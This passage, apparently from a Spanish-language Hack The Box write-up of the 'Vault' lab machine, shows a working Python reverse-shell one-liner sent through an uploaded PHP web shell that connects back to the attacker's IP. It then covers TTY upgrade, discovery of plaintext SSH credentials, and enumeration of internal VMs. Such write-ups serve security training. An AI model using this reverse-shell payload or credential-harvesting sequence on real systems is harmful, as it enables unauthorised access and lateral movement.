<p>Para ejecutar mi reverse shell, use <code>urlencode</code> para no morir con problemas de encoding durante la ejecución. También provee previamente si podía ejecutar python, con <code>python --version</code>. Con esta validación y soporte de encoding, ejecutamos el siguiente comando:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/vault$ http &#34;http://10.10.10.109/sparklays/design/uploads/dgdfgdfgdfgd.php5?cmd=&#34;$(urlencode &#34;python -c &#39;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\&#34;10.10.12.244\&#34;,3001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\&#34;/bin/sh\&#34;,\&#34;-i\&#34;]);&#39;&#34;)
</span></span></code></pre></div><p>En mi maquina, esperando por la conexión y posteriormente haciendo el upgrade de mi tty:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/vault$ ncat -vlnp 3001
</span></span><span style="display:flex;"><span>Ncat: Version 7.70 ( https://nmap.org/ncat )
</span></span><span style="display:flex;"><span>Ncat: Listening on :::3001
</span></span><span style="display:flex;"><span>Ncat: Listening on 0.0.0.0:3001
</span></span><span style="display:flex;"><span>Ncat: Connection from 10.10.10.109.
</span></span><span style="display:flex;"><span>Ncat: Connection from 10.10.10.109:41708.
</span></span><span style="display:flex;"><span>/bin/sh: 0: can&#39;t access tty; job control turned off
</span></span><span style="display:flex;"><span>$
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>$ python -c &#39;import pty; pty.spawn(&#34;/bin/bash&#34;)&#39;
</span></span><span style="display:flex;"><span>www-data@ubuntu:/var/www/html/sparklays/design/uploads$
</span></span></code></pre></div><p>Ahora que estamos dentro, busquemos en la carpeta home por mas información sobre la maquina:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>www-data@ubuntu:/var/www/html/sparklays/design/uploads$ cd /home
</span></span><span style="display:flex;"><span>cd /home
</span></span><span style="display:flex;"><span>www-data@ubuntu:/home$ ls -lah
</span></span><span style="display:flex;"><span>ls -lah
</span></span><span style="display:flex;"><span>total 16K
</span></span><span style="display:flex;"><span>drwxr-xr-x  4 root root 4.0K Jul 17  2018 .
</span></span><span style="display:flex;"><span>drwxr-xr-x 24 root root 4.0K Jul 17  2018 ..
</span></span><span style="display:flex;"><span>drwxr-xr-x 19 alex alex 4.0K Nov  4 07:18 alex
</span></span><span style="display:flex;"><span>drwxr-xr-x 18 dave dave 4.0K Sep  3  2018 dave
</span></span></code></pre></div><h1 id="privesc-from-www-data-to-user">privesc from www-data to user</h1>
<p>Empecemos por <strong>dave</strong>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>www-data@ubuntu:/home$ cd dave
</span></span><span style="display:flex;"><span>cd dave
</span></span><span style="display:flex;"><span>www-data@ubuntu:/home/dave$ ls -lahR
</span></span><span style="display:flex;"><span>ls -lahR
</span></span><span style="display:flex;"><span>.:
</span></span><span style="display:flex;"><span>total 124K
</span></span><span style="display:flex;"><span>drwxr-xr-x 18 dave dave 4.0K Sep  3  2018 .
</span></span><span style="display:flex;"><span>drwxr-xr-x  4 root root 4.0K Jul 17  2018 ..
</span></span><span style="display:flex;"><span>-rw-------  1 dave dave 2.5K Sep  3  2018 .ICEauthority
</span></span><span style="display:flex;"><span>-rw-------  1 dave dave  153 Sep  3  2018 .Xauthority
</span></span><span style="display:flex;"><span>-rw-------  1 dave dave   38 Mar 17 00:25 .bash_history
</span></span><span style="display:flex;"><span>-rw-r--r--  1 dave dave  220 Jul 17  2018 .bash_logout
</span></span><span style="display:flex;"><span>-rw-r--r--  1 dave dave 3.7K Jul 17  2018 .bashrc
</span></span><span style="display:flex;"><span>drwx------ 10 dave dave 4.0K Jul 24  2018 .cache
</span></span><span style="display:flex;"><span>drwx------  3 dave dave 4.0K Jul 17  2018 .compiz
</span></span><span style="display:flex;"><span>drwx------ 15 dave dave 4.0K Jul 24  2018 .config
</span></span><span style="display:flex;"><span>-rw-r--r--  1 dave dave   25 Jul 17  2018 .dmrc
</span></span><span style="display:flex;"><span>drwx------  2 dave dave 4.0K Jul 17  2018 .gconf
</span></span><span style="display:flex;"><span>drwx------  3 dave dave 4.0K Sep  3  2018 .gnupg
</span></span><span style="display:flex;"><span>drwx------  3 dave dave 4.0K Jul 17  2018 .local
</span></span><span style="display:flex;"><span>drwxrwxr-x  2 dave dave 4.0K Jul 24  2018 .nano
</span></span><span style="display:flex;"><span>-rw-r--r--  1 dave dave  655 Jul 17  2018 .profile
</span></span><span style="display:flex;"><span>-rw-rw-r--  1 dave dave 1.0K Jul 24  2018 .root.txt.swp
</span></span><span style="display:flex;"><span>drwx------  2 dave dave 4.0K Jul 17  2018 .ssh
</span></span><span style="display:flex;"><span>-rw-------  1 dave dave  808 Sep  3  2018 .xsession-errors
</span></span><span style="display:flex;"><span>-rw-------  1 dave dave 1.4K Sep  3  2018 .xsession-errors.old
</span></span><span style="display:flex;"><span>drwxr-xr-x  2 dave dave 4.0K Sep  3  2018 Desktop
</span></span><span style="display:flex;"><span>drwxr-xr-x  2 dave dave 4.0K Jul 17  2018 Documents
</span></span><span style="display:flex;"><span>drwxr-xr-x  2 dave dave 4.0K Jul 17  2018 Downloads
</span></span><span style="display:flex;"><span>drwxr-xr-x  2 dave dave 4.0K Jul 17  2018 Music
</span></span><span style="display:flex;"><span>drwxr-xr-x  2 dave dave 4.0K Jul 17  2018 Pictures
</span></span><span style="display:flex;"><span>drwxr-xr-x  2 dave dave 4.0K Jul 17  2018 Public
</span></span><span style="display:flex;"><span>drwxr-xr-x  2 dave dave 4.0K Jul 17  2018 Templates
</span></span><span style="display:flex;"><span>drwxr-xr-x  2 dave dave 4.0K Jul 17  2018 Videos
</span></span><span style="display:flex;"><span>-rw-r--r--  1 dave dave 8.8K Jul 17  2018 examples.desktop
</span></span><span style="display:flex;"><span>ls: cannot open directory &#39;./.cache&#39;: Permission denied
</span></span><span style="display:flex;"><span>ls: cannot open directory &#39;./.compiz&#39;: Permission denied
</span></span><span style="display:flex;"><span>ls: cannot open directory &#39;./.config&#39;: Permission denied
</span></span><span style="display:flex;"><span>ls: cannot open directory &#39;./.gconf&#39;: Permission denied
</span></span><span style="display:flex;"><span>ls: cannot open directory &#39;./.gnupg&#39;: Permission denied
</span></span><span style="display:flex;"><span>ls: cannot open directory &#39;./.local&#39;: Permission denied
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>./.nano:
</span></span><span style="display:flex;"><span>total 8.0K
</span></span><span style="display:flex;"><span>drwxrwxr-x  2 dave dave 4.0K Jul 24  2018 .
</span></span><span style="display:flex;"><span>drwxr-xr-x 18 dave dave 4.0K Sep  3  2018 ..
</span></span><span style="display:flex;"><span>ls: cannot open directory &#39;./.ssh&#39;: Permission denied
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>./Desktop:
</span></span><span style="display:flex;"><span>total 20K
</span></span><span style="display:flex;"><span>drwxr-xr-x  2 dave dave 4.0K Sep  3  2018 .
</span></span><span style="display:flex;"><span>drwxr-xr-x 18 dave dave 4.0K Sep  3  2018 ..
</span></span><span style="display:flex;"><span>-rw-rw-r--  1 alex alex   74 Jul 17  2018 Servers
</span></span><span style="display:flex;"><span>-rw-rw-r--  1 alex alex   14 Jul 17  2018 key
</span></span><span style="display:flex;"><span>-rw-rw-r--  1 alex alex   20 Jul 17  2018 ssh
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>./Documents:
</span></span><span style="display:flex;"><span>total 8.0K
</span></span><span style="display:flex;"><span>drwxr-xr-x  2 dave dave 4.0K Jul 17  2018 .
</span></span><span style="display:flex;"><span>drwxr-xr-x 18 dave dave 4.0K Sep  3  2018 ..
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>./Downloads:
</span></span><span style="display:flex;"><span>total 8.0K
</span></span><span style="display:flex;"><span>drwxr-xr-x  2 dave dave 4.0K Jul 17  2018 .
</span></span><span style="display:flex;"><span>drwxr-xr-x 18 dave dave 4.0K Sep  3  2018 ..
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>./Music:
</span></span><span style="display:flex;"><span>total 8.0K
</span></span><span style="display:flex;"><span>drwxr-xr-x  2 dave dave 4.0K Jul 17  2018 .
</span></span><span style="display:flex;"><span>drwxr-xr-x 18 dave dave 4.0K Sep  3  2018 ..
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>./Pictures:
</span></span><span style="display:flex;"><span>total 8.0K
</span></span><span style="display:flex;"><span>drwxr-xr-x  2 dave dave 4.0K Jul 17  2018 .
</span></span><span style="display:flex;"><span>drwxr-xr-x 18 dave dave 4.0K Sep  3  2018 ..
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>./Public:
</span></span><span style="display:flex;"><span>total 8.0K
</span></span><span style="display:flex;"><span>drwxr-xr-x  2 dave dave 4.0K Jul 17  2018 .
</span></span><span style="display:flex;"><span>drwxr-xr-x 18 dave dave 4.0K Sep  3  2018 ..
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>./Templates:
</span></span><span style="display:flex;"><span>total 8.0K
</span></span><span style="display:flex;"><span>drwxr-xr-x  2 dave dave 4.0K Jul 17  2018 .
</span></span><span style="display:flex;"><span>drwxr-xr-x 18 dave dave 4.0K Sep  3  2018 ..
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>./Videos:
</span></span><span style="display:flex;"><span>total 8.0K
</span></span><span style="display:flex;"><span>drwxr-xr-x  2 dave dave 4.0K Jul 17  2018 .
</span></span><span style="display:flex;"><span>drwxr-xr-x 18 dave dave 4.0K Sep  3  2018 ..
</span></span></code></pre></div><p>Esos archivos en Desktop se ven sospechosos, veamos que hay dentro:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>www-data@ubuntu:/home/dave$ more Desktop/*
</span></span><span style="display:flex;"><span>more Desktop/*
</span></span><span style="display:flex;"><span>::::::::::::::
</span></span><span style="display:flex;"><span>Desktop/Servers
</span></span><span style="display:flex;"><span>::::::::::::::
</span></span><span style="display:flex;"><span>DNS + Configurator - 192.168.122.4
</span></span><span style="display:flex;"><span>Firewall - 192.168.122.5
</span></span><span style="display:flex;"><span>The Vault - x
</span></span><span style="display:flex;"><span>--More--(Next file: Desktop/key)
</span></span><span style="display:flex;"><span>::::::::::::::
</span></span><span style="display:flex;"><span>Desktop/key
</span></span><span style="display:flex;"><span>::::::::::::::
</span></span><span style="display:flex;"><span>itscominghome
</span></span><span style="display:flex;"><span>--More--(Next file: Desktop/ssh)
</span></span><span style="display:flex;"><span>::::::::::::::
</span></span><span style="display:flex;"><span>Desktop/ssh
</span></span><span style="display:flex;"><span>::::::::::::::
</span></span><span style="display:flex;"><span>dave
</span></span><span style="display:flex;"><span>Dav3therav3123
</span></span></code></pre></div><p>Parece que el archivo ssh tiene unas credenciales, probemos las credenciales en la maquina:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/vault$ ssh dave@10.10.10.109
</span></span><span style="display:flex;"><span>dave@10.10.10.109&#39;s password:
</span></span><span style="display:flex;"><span>Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.13.0-45-generic x86_64)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> * Documentation:  https://help.ubuntu.com
</span></span><span style="display:flex;"><span> * Management:     https://landscape.canonical.com
</span></span><span style="display:flex;"><span> * Support:        https://ubuntu.com/advantage
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>222 packages can be updated.
</span></span><span style="display:flex;"><span>47 updates are security updates.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Last login: Sun Mar 17 01:22:21 2019 from 10.10.14.33
</span></span><span style="display:flex;"><span>dave@ubuntu:~$
</span></span></code></pre></div><p>Hemos pasado de www-data a dave.</p>
<blockquote>
<p>creds: dave / Dav3therav3123</p>
</blockquote>
<h1 id="enumerating-ubuntu-as-dave">Enumerating <em>ubuntu</em> as dave</h1>
<p>Ahora que hemos podido ingresar en <em>ubuntu</em>, y que los archivos encontrados nos indican la existencia de otras maquinas mediante su dirección IP (<em>Servers</em>), comencemos a enumerar para saber como llegar hasta estas. Ni dave ni alex tienen algún archivo user.txt.</p>
<p>Interfaces y rutas:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>dave@ubuntu:~$ ip a s
</span></span><span style="display:flex;"><span>1: lo: &lt;LOOPBACK,UP,LOWER_UP&gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
</span></span><span style="display:flex;"><span>    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
</span></span><span style="display:flex;"><span>    inet 127.0.0.1/8 scope host lo
</span></span><span style="display:flex;"><span>       valid_lft forever preferred_lft forever
</span></span><span style="display:flex;"><span>    inet6 ::1/128 scope host
</span></span><span style="display:flex;"><span>       valid_lft forever preferred_lft forever
</span></span><span style="display:flex;"><span>2: ens33: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
</span></span><span style="display:flex;"><span>    link/ether 00:50:56:b9:e9:d5 brd ff:ff:ff:ff:ff:ff
</span></span><span style="display:flex;"><span>    inet 10.10.10.109/24 brd 10.10.10.255 scope global ens33
</span></span><span style="display:flex;"><span>       valid_lft forever preferred_lft forever
</span></span><span style="display:flex;"><span>    inet6 dead:beef::250:56ff:feb9:e9d5/64 scope global mngtmpaddr dynamic
</span></span><span style="display:flex;"><span>       valid_lft 86235sec preferred_lft 14235sec
</span></span><span style="display:flex;"><span>    inet6 fe80::250:56ff:feb9:e9d5/64 scope link
</span></span><span style="display:flex;"><span>       valid_lft forever preferred_lft forever
</span></span><span style="display:flex;"><span>3: virbr0: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc noqueue state UP group default qlen 1000
</span></span><span style="display:flex;"><span>    link/ether fe:54:00:17:ab:49 brd ff:ff:ff:ff:ff:ff
</span></span><span style="display:flex;"><span>    inet 192.168.122.1/24 brd 192.168.122.255 scope global virbr0
</span></span><span style="display:flex;"><span>       valid_lft forever preferred_lft forever
</span></span><span style="display:flex;"><span>4: virbr0-nic: &lt;BROADCAST,MULTICAST&gt; mtu 1500 qdisc pfifo_fast state DOWN group default qlen 1000
</span></span><span style="display:flex;"><span>    link/ether 52:54:00:ff:fd:68 brd ff:ff:ff:ff:ff:ff
</span></span><span style="display:flex;"><span>5: vnet0: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc pfifo_fast master virbr0 state UNKNOWN group default qlen 1000
</span></span><span style="display:flex;"><span>    link/ether fe:54:00:3a:3b:d5 brd ff:ff:ff:ff:ff:ff
</span></span><span style="display:flex;"><span>    inet6 fe80::fc54:ff:fe3a:3bd5/64 scope link
</span></span><span style="display:flex;"><span>       valid_lft forever preferred_lft forever
</span></span><span style="display:flex;"><span>6: vnet1: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc pfifo_fast master virbr0 state UNKNOWN group default qlen 1000
</span></span><span style="display:flex;"><span>    link/ether fe:54:00:e1:74:41 brd ff:ff:ff:ff:ff:ff
</span></span><span style="display:flex;"><span>    inet6 fe80::fc54:ff:fee1:7441/64 scope link
</span></span><span style="display:flex;"><span>       valid_lft forever preferred_lft forever
</span></span><span style="display:flex;"><span>7: vnet2: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc pfifo_fast master virbr0 state UNKNOWN group default qlen 1000
</span></span><span style="display:flex;"><span>    link/ether fe:54:00:c6:70:66 brd ff:ff:ff:ff:ff:ff
</span></span><span style="display:flex;"><span>    inet6 fe80::fc54:ff:fec6:7066/64 scope link
</span></span><span style="display:flex;"><span>       valid_lft forever preferred_lft forever
</span></span><span style="display:flex;"><span>8: vnet3: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc pfifo_fast master virbr0 state UNKNOWN group default qlen 1000
</span></span><span style="display:flex;"><span>    link/ether fe:54:00:17:ab:49 brd ff:ff:ff:ff:ff:ff
</span></span><span style="display:flex;"><span>    inet6 fe80::fc54:ff:fe17:ab49/64 scope link
</span></span><span style="display:flex;"><span>       valid_lft forever preferred_lft forever
</span></span><span style="display:flex;"><span>dave@ubuntu:~$ ip r
</span></span><span style="display:flex;"><span>default via 10.10.10.2 dev ens33 onlink
</span></span><span style="display:flex;"><span>10.10.10.0/24 dev ens33  proto kernel  scope link  src 10.10.10.109
</span></span><span style="display:flex;"><span>169.254.0.0/16 dev ens33  scope link  metric 1000
</span></span><span style="display:flex;"><span>192.168.122.0/24 dev virbr0  proto kernel  scope link  src 192.168.122.1
</span></span></code></pre></div><p>Para llegar a los <em>Servers</em> usamos la interface virbr0, la cual tiene una dirección en el mismo segmento de los indicados en servidores.</p>
<p>Veamos las conexiones:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>dave@ubuntu:~/Desktop$ netstat -pltune
</span></span><span style="display:flex;"><span>(Not all processes could be identified, non-owned process info
</span></span><span style="display:flex;"><span> will not be shown, you would have to be root to see it all.)
</span></span><span style="display:flex;"><span>Active Internet connections (only servers)
</span></span><span style="display:flex;"><span>Proto Recv-Q Send-Q Local Address           Foreign Address         State       User       Inode       PID/Program name
</span></span><span style="display:flex;"><span>tcp        0      0 127.0.0.1:5902          0.0.0.0:*               LISTEN      64055      29708       -
</span></span><span style="display:flex;"><span>tcp        0      0 192.168.122.1:53        0.0.0.0:*               LISTEN      0          27851       -
</span></span><span style="display:flex;"><span>tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      0          28563       -
</span></span><span style="display:flex;"><span>tcp        0      0 127.0.0.1:631           0.0.0.0:*               LISTEN      0          31186       -
</span></span><span style="display:flex;"><span>tcp        0      0 127.0.0.1:5900          0.0.0.0:*               LISTEN      64055      28042       -
</span></span><span style="display:flex;"><span>tcp        0      0 127.0.0.1:5901          0.0.0.0:*               LISTEN      64055      28331       -
</span></span><span style="display:flex;"><span>tcp6       0      0 :::80                   :::*                    LISTEN      0          22789       -
</span></span><span style="display:flex;"><span>tcp6       0      0 :::22                   :::*                    LISTEN      0          28565       -
</span></span><span style="display:flex;"><span>tcp6       0      0 ::1:631                 :::*                    LISTEN      0          31185       -
</span></span><span style="display:flex;"><span>tcp6       0      0 :::1337                 :::*                    LISTEN      1001       77658       3370/chisel
</span></span><span style="display:flex;"><span>udp        0      0 0.0.0.0:5353            0.0.0.0:*                           111        22601       -
</span></span><span style="display:flex;"><span>udp        0      0 0.0.0.0:38310           0.0.0.0:*                           111        22603       -
</span></span><span style="display:flex;"><span>udp        0      0 192.168.122.1:53        0.0.0.0:*                           0          27850       -
</span></span><span style="display:flex;"><span>udp        0      0 0.0.0.0:67              0.0.0.0:*                           0          27847       -
</span></span><span style="display:flex;"><span>udp        0      0 0.0.0.0:631             0.0.0.0:*                           0          31196       -
</span></span><span style="display:flex;"><span>udp6       0      0 :::5353                 :::*                                111        22602       -
</span></span><span style="display:flex;"><span>udp6       0      0 :::34539                :::*                                111        22604       -
</span></span></code></pre></div><p>Interesante, en localhost tenemos varios servicios corriendo, inclusive algunos ejecutandose desde el usuario con ID 64055. Veamos quien es este usuario:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>dave@ubuntu:~$ cat /etc/passwd | grep 64055
</span></span><span style="display:flex;"><span>libvirt-qemu:x:64055:129:Libvirt Qemu,,,:/var/lib/libvirt:/bin/false
</span></span></code></pre></div><p>Vemos que se trata de libvirt-qemu, lo cual nos hace <em>click</em> con el nombre de las interfaces que vimos antes. Esto significa que tenemos al menos 3 maquinas virtuales (de acuerdo al documento anterior) que están virtualizadas sobre ubuntu.</p>
<p>Veamos los procesos de las maquinas virtuales:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>dave@ubuntu:~/Desktop$ ps -fea
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>{OMITIDO}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>libvirt+   1711      1  4 Mar16 ?        00:07:45 qemu-system-x86_64 -enable-kvm -name DNS -S -machine pc-i440fx-xenial,accel=kvm,usb=off -cpu qemu32 -m 1024 -realtime mlock=off -smp 1,sockets=1,cores=1,threads=1 -uuid 4c7b43f8-23d1-4e7d-a219-d55eb0c899a6 -no-user-config -nodefaults -chardev socket,id=charmonitor,path=/var/lib/libvirt/qemu/domain-DNS/monitor.sock,server,nowait -mon chardev=charmonitor,id=monitor,mode=control -rtc base=utc,driftfix=slew -global kvm-pit.lost_tick_policy=discard -no-hpet -no-shutdown -global PIIX4_PM.disable_s3=1 -global PIIX4_PM.disable_s4=1 -boot strict=on -device ich9-usb-ehci1,id=usb,bus=pci.0,addr=0x6.0x7 -device ich9-usb-uhci1,masterbus=usb.0,firstport=0,bus=pci.0,multifunction=on,addr=0x6 -device ich9-usb-uhci2,masterbus=usb.0,firstport=2,bus=pci.0,addr=0x6.0x1 -device ich9-usb-uhci3,masterbus=usb.0,firstport=4,bus=pci.0,addr=0x6.0x2 -device virtio-serial-pci,id=virtio-serial0,bus=pci.0,addr=0x5 -drive file=/var/lib/libvirt/images/DNS.qcow2,format=qcow2,if=none,id=drive-ide0-0-0 -device ide-hd,bus=ide.0,unit=0,drive=drive-ide0-0-0,id=ide0-0-0,bootindex=1 -drive if=none,id=drive-ide0-0-1,readonly=on -device ide-cd,bus=ide.0,unit=1,drive=drive-ide0-0-1,id=ide0-0-1 -netdev tap,fd=25,id=hostnet0 -device rtl8139,netdev=hostnet0,id=net0,mac=52:54:00:17:ab:49,bus=pci.0,addr=0x3 -chardev pty,id=charserial0 -device isa-serial,chardev=charserial0,id=serial0 -chardev spicevmc,id=charchannel0,name=vdagent -device virtserialport,bus=virtio-serial0.0,nr=1,chardev=charchannel0,id=channel0,name=com.redhat.spice.0 -spice port=5900,addr=127.0.0.1,disable-ticketing,image-compression=off,seamless-migration=on -device qxl-vga,id=video0,ram_size=67108864,vram_size=67108864,vgamem_mb=16,bus=pci.0,addr=0x2 -device intel-hda,id=sound0,bus=pci.0,addr=0x4 -device hda-duplex,id=sound0-codec0,bus=sound0.0,cad=0 -chardev spicevmc,id=charredir0,name=usbredir -device usb-redir,chardev=charredir0,id=redir0 -chardev spicevmc,id=charredir1,name=usbredir -device usb-redir,chardev=charredir1,id=redir1 -device virtio-balloon-pci,id=balloon0,bus=pci.0,addr=0x7 -msg timestamp=on
</span></span><span style="display:flex;"><span>root       1729      2  0 Mar16 ?        00:00:00 [kvm-pit/1711]
</span></span><span style="display:flex;"><span>libvirt+   1878      1  3 Mar16 ?        00:06:28 qemu-system-x86_64 -enable-kvm -name Firewall -S -machine pc-i440fx-xenial,accel=kvm,usb=off -cpu qemu32 -m 1024 -realtime mlock=off -smp 1,sockets=1,cores=1,threads=1 -uuid cd3065e0-8cff-4ca0-99e8-9f2b545467a8 -no-user-config -nodefaults -chardev socket,id=charmonitor,path=/var/lib/libvirt/qemu/domain-Firewall/monitor.sock,server,nowait -mon chardev=charmonitor,id=monitor,mode=control -rtc base=utc,driftfix=slew -global kvm-pit.lost_tick_policy=discard -no-hpet -no-shutdown -global PIIX4_PM.disable_s3=1 -global PIIX4_PM.disable_s4=1 -boot strict=on -device ich9-usb-ehci1,id=usb,bus=pci.0,addr=0x7.0x7 -device ich9-usb-uhci1,masterbus=usb.0,firstport=0,bus=pci.0,multifunction=on,addr=0x7 -device ich9-usb-uhci2,masterbus=usb.0,firstport=2,bus=pci.0,addr=0x7.0x1 -device ich9-usb-uhci3,masterbus=usb.0,firstport=4,bus=pci.0,addr=0x7.0x2 -device virtio-serial-pci,id=virtio-serial0,bus=pci.0,addr=0x6 -drive file=/var/lib/libvirt/images/Firewall.qcow2,format=qcow2,if=none,id=drive-ide0-0-0 -device ide-hd,bus=ide.0,unit=0,drive=drive-ide0-0-0,id=ide0-0-0,bootindex=1 -drive if=none,id=drive-ide0-0-1,readonly=on -device ide-cd,bus=ide.0,unit=1,drive=drive-ide0-0-1,id=ide0-0-1 -netdev tap,fd=26,id=hostnet0 -device rtl8139,netdev=hostnet0,id=net0,mac=52:54:00:3a:3b:d5,bus=pci.0,addr=0x3 -netdev tap,fd=28,id=hostnet1 -device rtl8139,netdev=hostnet1,id=net1,mac=52:54:00:e1:74:41,bus=pci.0,addr=0x4 -chardev pty,id=charserial0 -device isa-serial,chardev=charserial0,id=serial0 -chardev spicevmc,id=charchannel0,name=vdagent -device virtserialport,bus=virtio-serial0.0,nr=1,chardev=charchannel0,id=channel0,name=com.redhat.spice.0 -spice port=5901,addr=127.0.0.1,disable-ticketing,image-compression=off,seamless-migration=on -device qxl-vga,id=video0,ram_size=67108864,vram_size=67108864,vgamem_mb=16,bus=pci.0,addr=0x2 -device intel-hda,id=sound0,bus=pci.0,addr=0x5 -device hda-duplex,id=sound0-codec0,bus=sound0.0,cad=0 -chardev spicevmc,id=charredir0,name=usbredir -device usb-redir,chardev=charredir0,id=redir0 -chardev spicevmc,id=charredir1,name=usbredir -device usb-redir,chardev=charredir1,id=redir1 -device virtio-balloon-pci,id=balloon0,bus=pci.0,addr=0x8 -msg timestamp=on
</span></span><span style="display:flex;"><span>root       1896      2  0 Mar16 ?        00:00:00 [kvm-pit/1878]
</span></span><span style="display:flex;"><span>libvirt+   1977      1  3 Mar16 ?        00:06:21 qemu-system-x86_64 -enable-kvm -name Vault -S -machine pc-i440fx-xenial,accel=kvm,usb=off -cpu qemu32 -m 1024 -realtime mlock=off -smp 1,sockets=1,cores=1,threads=1 -uuid 5c8d1542-2e9b-405a-a1a1-5435f25bf154 -no-user-config -nodefaults -chardev socket,id=charmonitor,path=/var/lib/libvirt/qemu/domain-Vault/monitor.sock,server,nowait -mon chardev=charmonitor,id=monitor,mode=control -rtc base=utc,driftfix=slew -global kvm-pit.lost_tick_policy=discard -no-hpet -no-shutdown -global PIIX4_PM.disable_s3=1 -global PIIX4_PM.disable_s4=1 -boot strict=on -device ich9-usb-ehci1,id=usb,bus=pci.0,addr=0x6.0x7 -device ich9-usb-uhci1,masterbus=usb.0,firstport=0,bus=pci.0,multifunction=on,addr=0x6 -device ich9-usb-uhci2,masterbus=usb.0,firstport=2,bus=pci.0,addr=0x6.0x1 -device ich9-usb-uhci3,masterbus=usb.0,firstport=4,bus=pci.0,addr=0x6.0x2 -device virtio-serial-pci,id=virtio-serial0,bus=pci.0,addr=0x5 -drive file=/var/lib/libvirt/images/Vault.qcow2,format=qcow2,if=none,id=drive-ide0-0-0 -device ide-hd,bus=ide.0,unit=0,drive=drive-ide0-0-0,id=ide0-0-0,bootindex=1 -drive if=none,id=drive-ide0-0-1,readonly=on -device ide-cd,bus=ide.0,unit=1,drive=drive-ide0-0-1,id=ide0-0-1 -netdev tap,fd=27,id=hostnet0 -device rtl8139,netdev=hostnet0,id=net0,mac=52:54:00:c6:70:66,bus=pci.0,addr=0x3 -chardev pty,id=charserial0 -device isa-serial,chardev=charserial0,id=serial0 -chardev spicevmc,id=charchannel0,name=vdagent -device virtserialport,bus=virtio-serial0.0,nr=1,chardev=charchannel0,id=channel0,name=com.redhat.spice.0 -spice port=5902,addr=127.0.0.1,disable-ticketing,image-compression=off,seamless-migration=on -device qxl-vga,id=video0,ram_size=67108864,vram_size=67108864,vgamem_mb=16,bus=pci.0,addr=0x2 -device intel-hda,id=sound0,bus=pci.0,addr=0x4 -device hda-duplex,id=sound0-codec0,bus=sound0.0,cad=0 -chardev spicevmc,id=charredir0,name=usbredir -device usb-redir,chardev=charredir0,id=redir0 -chardev spicevmc,id=charredir1,name=usbredir -device usb-redir,chardev=charredir1,id=redir1 -device virtio-balloon-pci,id=balloon0,bus=pci.0,addr=0x7 -msg timestamp=on
</span></span><span style="display:flex;"><span>root       1997      2  0 Mar16 ?        00:00:00 [kvm-pit/1977]
</span></span></code></pre></div><p>Armando una rápida tabla sobre esta información tenemos:</p>
<table>
  <thead>
      <tr>
          <th>name</th>
          <th>MAC</th>
          <th>SPICE</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>DNS</td>
          <td>52:54:00:17:ab:49</td>
          <td>spice://127.0.0.1:5900</td>
      </tr>
      <tr>
          <td>Firewall</td>
